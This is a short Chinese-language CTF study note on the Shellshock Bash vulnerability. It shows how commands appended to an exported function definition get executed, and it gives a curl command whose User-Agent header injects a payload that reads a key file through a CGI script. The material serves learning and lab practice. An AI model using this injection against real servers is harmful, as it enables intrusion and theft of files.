「配枪朱丽叶。」

RootのCTF学习笔记。

Bash漏洞分析溯源

bash的bug————函数体外面的代码被默认地执行了

先看如下代码:

$ export X='() { echo "inside X"; }; echo "outside X";'

再用env 查看创建出来的环境变量

$ env
X=(){ echo "inside X"; }; echo "outside X";

当我们在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这条命令会在父进程向子进程复制的过程中被执行。

1、破壳漏洞,是由bash cgi产生的漏洞,如果web程序调用bash脚本就可能产生这个漏洞
2、通常cgi目录为cgi-bin,这里也是,并且破壳漏洞cgi源文件名就是pc.cgi,那么构造伪造请求包时,就可以使用url:http://ip:port//cgi-bin/poc.cgi
3、使用curl或者抓包软件构造user-Agent(或者别的参数,比如Connection)就可以将参数传进去

使用curl的方法:

curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://ip:port/cgi-bin/poc.cgi

使用Connection的方法:
https://upload-images.jianshu.io/upload_images/3946030-a2e87d7a70100b29.png?imageMogr2/auto-orient/strip|imageView2/2/w/1000